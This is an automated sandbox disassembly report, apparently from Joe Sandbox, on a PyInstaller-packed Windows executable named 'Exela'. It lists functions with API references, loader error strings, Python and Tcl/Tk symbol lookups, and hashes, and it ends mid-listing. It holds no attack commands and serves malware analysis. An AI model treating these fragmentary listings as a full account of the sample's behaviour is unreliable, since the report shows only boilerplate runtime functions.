PyUnicode_FromString, xrefs: 00007FF75AE95F6B, 00007FF75AE95F8D
PyRun_SimpleStringFlags, xrefs: 00007FF75AE95DFB, 00007FF75AE95E1D
GetProcAddress, xrefs: 00007FF75AE95858
PyModule_GetDict, xrefs: 00007FF75AE95CB9, 00007FF75AE95CDB

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
Instruction ID: 87c2541bdf721b6fcb76899a67c8cdc07f055a2bbc5f468a6bdf870120e1e674
Opcode Fuzzy Hash: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
Instruction Fuzzy Hash: 9622D924A0DB2FD5FA54BF55A82A574A3A0AF48745FCC92B5C85E12360FF3CB8498331

Function 00007FF75AE9D19C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF75AE9D1B8
RtlCaptureContext.KERNEL32 ref: 00007FF75AE9D1E5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF75AE9D1FF
RtlVirtualUnwind.KERNEL32 ref: 00007FF75AE9D240
IsDebuggerPresent.KERNEL32 ref: 00007FF75AE9D294
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF75AE9D2B1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF75AE9D2BC

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
Instruction ID: 1c8c1c64a26077d0fd65f62671c78b7cd117953da8f97191762a1f94a6d207b0
Opcode Fuzzy Hash: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
Instruction Fuzzy Hash: 99316272608B958AFB60AF64E8857EE7364FB84744F484139DA4D47B94EF38C548C720

Function 00007FF75AEAA684 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF75AEAA6FD
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF75AEAA715
RtlVirtualUnwind.KERNEL32 ref: 00007FF75AEAA750
IsDebuggerPresent.KERNEL32 ref: 00007FF75AEAA789
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF75AEAA793
UnhandledExceptionFilter.KERNEL32 ref: 00007FF75AEAA79E

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
Instruction ID: 2b1ec83d79ad14212572189d2288351226caed0735b322704394a2dd7ad047b1
Opcode Fuzzy Hash: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
Instruction Fuzzy Hash: 5D319432608B918AEB20FF25E8466AEB3A4FF84754F980235EA8D47B54DF3CC545CB10

Function 00007FF75AEB18E4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEB1930
FindFirstFileExW.KERNEL32 ref: 00007FF75AEB1A3A

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 5fde642f47360a120b3bbdc49a752417dcdc94f7dd720a243365bab1f94d45be
Instruction ID: da4a6b9407eb0871ddc48659c12e4f25b72625f04edaca1ba97e14f9c10eba7e
Opcode Fuzzy Hash: 5fde642f47360a120b3bbdc49a752417dcdc94f7dd720a243365bab1f94d45be
Instruction Fuzzy Hash: E3B1CB22B187AA81FA61BB21A94A1B9E3D0EF44BF4F885271DD5D07BC5DE3CE841C710

Function 00007FF75AE9D080 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF75AE9D0AC
GetCurrentThreadId.KERNEL32 ref: 00007FF75AE9D0BA
GetCurrentProcessId.KERNEL32 ref: 00007FF75AE9D0C6
QueryPerformanceCounter.KERNEL32 ref: 00007FF75AE9D0D6

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
Instruction ID: 78feb41d75a3293f6ab0b4f41554626afb7dac9ebbe7d0ad77107303d32e2d9b
Opcode Fuzzy Hash: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
Instruction Fuzzy Hash: 15119E22B14F158AFB00EF60E8562B873A4FB08718F880E30DA2D427A4DF3CD4548390

Function 00007FF75AEB34F0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF75AEB34F4

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 39e33fd4700d97162abc6aa121af668d241eeaeaed41ff08026f27548e358ff0
Instruction ID: cbbfddbd36d80d8de1e52f177d6c9af228f59f795a08639a04f07902093c2921
Opcode Fuzzy Hash: 39e33fd4700d97162abc6aa121af668d241eeaeaed41ff08026f27548e358ff0
Instruction Fuzzy Hash: 73B09220E07B17C2FA483B296C8721862A47F48701FDC42B8C01C40330DE3C28E55720

Function 00007FF75AEB95E0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcf48121633763fd2f6aa1741893fa818c421e56c797f7e3558f0bc07bbc94c0
Instruction ID: 26a246e96c8131ed3d0afc302c454ae01ffece39b55d33fa4e6222d56788bb28
Opcode Fuzzy Hash: bcf48121633763fd2f6aa1741893fa818c421e56c797f7e3558f0bc07bbc94c0
Instruction Fuzzy Hash: A6F068717182668AEBD8AF6DA80362977D0FB483C0F88907DD59D83B14DB3DD4618F14

Function 00007FF75AE976B0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF75AE976C7
GetLastError.KERNEL32 ref: 00007FF75AE976D9
GetProcAddress.KERNEL32 ref: 00007FF75AE97715
GetLastError.KERNEL32 ref: 00007FF75AE97727
GetProcAddress.KERNEL32 ref: 00007FF75AE97740
GetLastError.KERNEL32 ref: 00007FF75AE97752
GetProcAddress.KERNEL32 ref: 00007FF75AE9776B
GetLastError.KERNEL32 ref: 00007FF75AE9777D
GetProcAddress.KERNEL32 ref: 00007FF75AE97799
GetLastError.KERNEL32 ref: 00007FF75AE977AB
GetProcAddress.KERNEL32 ref: 00007FF75AE977C7
GetLastError.KERNEL32 ref: 00007FF75AE977D9
GetProcAddress.KERNEL32 ref: 00007FF75AE977F5
GetLastError.KERNEL32 ref: 00007FF75AE97807
GetProcAddress.KERNEL32 ref: 00007FF75AE97823
GetLastError.KERNEL32 ref: 00007FF75AE97835
GetProcAddress.KERNEL32 ref: 00007FF75AE97851
GetLastError.KERNEL32 ref: 00007FF75AE97863

Strings

Tcl_MutexFinalize, xrefs: 00007FF75AE978FF, 00007FF75AE97921
Tcl_GetObjResult, xrefs: 00007FF75AE97B55, 00007FF75AE97B77
Tcl_ThreadAlert, xrefs: 00007FF75AE979E5, 00007FF75AE97A07
Tcl_JoinThread, xrefs: 00007FF75AE97875, 00007FF75AE97897
Tcl_CreateObjCommand, xrefs: 00007FF75AE97A6F, 00007FF75AE97A91
Tcl_ConditionNotify, xrefs: 00007FF75AE9795B, 00007FF75AE9797D
Tcl_GetCurrentThread, xrefs: 00007FF75AE97847, 00007FF75AE97869
Tcl_ThreadQueueEvent, xrefs: 00007FF75AE979B7, 00007FF75AE979D9
Tcl_CreateThread, xrefs: 00007FF75AE97819, 00007FF75AE9783B
Tcl_FinalizeThread, xrefs: 00007FF75AE977BD, 00007FF75AE977DF
Tcl_NewStringObj, xrefs: 00007FF75AE97ACB, 00007FF75AE97AED
Tk_Init, xrefs: 00007FF75AE97C69, 00007FF75AE97C8B
Tcl_ConditionFinalize, xrefs: 00007FF75AE9792D, 00007FF75AE9794F
Tcl_GetVar2, xrefs: 00007FF75AE97A13, 00007FF75AE97A35
Tcl_MutexUnlock, xrefs: 00007FF75AE978D1, 00007FF75AE978F3
Tcl_EvalFile, xrefs: 00007FF75AE97B83, 00007FF75AE97BA5
Tcl_Free, xrefs: 00007FF75AE97C3B, 00007FF75AE97C5D
Tcl_Finalize, xrefs: 00007FF75AE9778F, 00007FF75AE977B1
Failed to get address for %hs, xrefs: 00007FF75AE976E8
Tcl_MutexLock, xrefs: 00007FF75AE978A3, 00007FF75AE978C5
Tcl_ConditionWait, xrefs: 00007FF75AE97989, 00007FF75AE979AB
Tcl_Init, xrefs: 00007FF75AE976C0, 00007FF75AE976DF
Tcl_DeleteInterp, xrefs: 00007FF75AE977EB, 00007FF75AE9780D
Tcl_SetVar2, xrefs: 00007FF75AE97A41, 00007FF75AE97A63
Tcl_GetString, xrefs: 00007FF75AE97A9D, 00007FF75AE97ABF
Tk_GetNumMainWindows, xrefs: 00007FF75AE97C97, 00007FF75AE97CB9
Tcl_DoOneEvent, xrefs: 00007FF75AE97761, 00007FF75AE97783
Tcl_NewByteArrayObj, xrefs: 00007FF75AE97AF9, 00007FF75AE97B1B
Tcl_Alloc, xrefs: 00007FF75AE97C0D, 00007FF75AE97C2F
Tcl_EvalObjv, xrefs: 00007FF75AE97BDF, 00007FF75AE97C01
Tcl_FindExecutable, xrefs: 00007FF75AE97736, 00007FF75AE97758
Tcl_SetVar2Ex, xrefs: 00007FF75AE97B27, 00007FF75AE97B49
GetProcAddress, xrefs: 00007FF75AE976EF
Tcl_EvalEx, xrefs: 00007FF75AE97BB1, 00007FF75AE97BD3
Tcl_CreateInterp, xrefs: 00007FF75AE9770B, 00007FF75AE9772D

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction ID: 6f038cac8090d9ad794c50ebfa696285aead0a04dfa4f2c327d0e77aeb36ffef
Opcode Fuzzy Hash: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction Fuzzy Hash: 3702D120D0DB2FD5FA55BB55A86A5B4B3A1BF04755FCC82B5D85E022A0EF3CB958C230

Function 00007FF75AE981C0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75AE99400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF75AE945E4,00000000,00007FF75AE91985), ref: 00007FF75AE99439

ExpandEnvironmentStringsW.KERNEL32(?,00007FF75AE988A7,?,?,00000000,00007FF75AE93CBB), ref: 00007FF75AE9821C

Part of subcall function 00007FF75AE92810: MessageBoxW.USER32 ref: 00007FF75AE928EA

Strings

LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF75AE98363
CreateDirectory, xrefs: 00007FF75AE9836C
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF75AE981F3
%.*s, xrefs: 00007FF75AE982FC
\, xrefs: 00007FF75AE98251
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF75AE98230
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF75AE982C9
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF75AE9828D

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: e491f33a4545c5dc9e33b4da933e1c9d98f9a36929a11ac7b8a73595df86892f
Instruction ID: b3c727132e1073c22a27d9b75de5736c290b2be5e5be49c7d8869525dece91ad
Opcode Fuzzy Hash: e491f33a4545c5dc9e33b4da933e1c9d98f9a36929a11ac7b8a73595df86892f
Instruction Fuzzy Hash: C651B911A2D76289FB50FB24E857AFAE251EF94780FCC4071D90E826E5EE3CE4048370

Function 00007FF75AE92180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF75AE921AB
SelectObject.GDI32 ref: 00007FF75AE921F2
DrawTextW.USER32 ref: 00007FF75AE92215
SelectObject.GDI32 ref: 00007FF75AE9222B
ReleaseDC.USER32 ref: 00007FF75AE9223B
MoveWindow.USER32 ref: 00007FF75AE9228B
MoveWindow.USER32 ref: 00007FF75AE922CB
MoveWindow.USER32 ref: 00007FF75AE9231E
MoveWindow.USER32 ref: 00007FF75AE92366

Strings

P%, xrefs: 00007FF75AE921FF

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: 39a5f2c6087654fef2200ac20c4f8b0fbe47f9aea0077a4a8df99a9ce8acb40a
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: 2F5107266147A186E624AF26A4181BAF7A1FB98B61F044131EFDE43694DF3CD485CB20

Function 00007FF75AE980B0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF75AE980EF
GetWindowLongPtrW.USER32 ref: 00007FF75AE9816F
ShutdownBlockReasonCreate.USER32 ref: 00007FF75AE98182
GetLastError.KERNEL32 ref: 00007FF75AE9818C
SetWindowLongPtrW.USER32 ref: 00007FF75AE981A3

Strings

Needs to remove its temporary files., xrefs: 00007FF75AE98175

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
Instruction ID: 4eb603274be711d307a27c62161d961ef460bc025171df7273a3f674c4d2f085
Opcode Fuzzy Hash: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
Instruction Fuzzy Hash: 2521A621B08B5685F7457B7AA85A579A750FF88B90F8C82B1DE2D433E4DE2CD9908320

Function 00007FF75AEA6300 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA6343
_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA6730
_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA69CC

Strings

-, xrefs: 00007FF75AEA63D9
p, xrefs: 00007FF75AEA646D
p, xrefs: 00007FF75AEA63F5
f, xrefs: 00007FF75AEA6465
:, xrefs: 00007FF75AEA64FC

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: 166db229d8d4cc03598a5c66062f7565632d8bb059b4aad536d930c1026dbff5
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 5B127F72E0C16386FB207B14D15A679B692FF83754FCC8575E69A4A6C4DF3CE5808B20

Function 00007FF75AEA1038 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA1078
_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA1440
_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA16DF

Strings

p, xrefs: 00007FF75AEA1182
f, xrefs: 00007FF75AEA12C5
f, xrefs: 00007FF75AEA1110
p, xrefs: 00007FF75AEA111D
f, xrefs: 00007FF75AEA117A

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: 10f5db7b62dcbf62b8dd2f69dfbe0918851026f79332cf73bfc82000bb508e0e
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: A5128222E0C16386FB24BA15E85E6B9F2E1EF80754FCC4075E699879C4DF7CE4849B60

Function 00007FF75AE91050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF75AE9110F
fread, xrefs: 00007FF75AE911FD
fseek, xrefs: 00007FF75AE910D3
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF75AE910CC
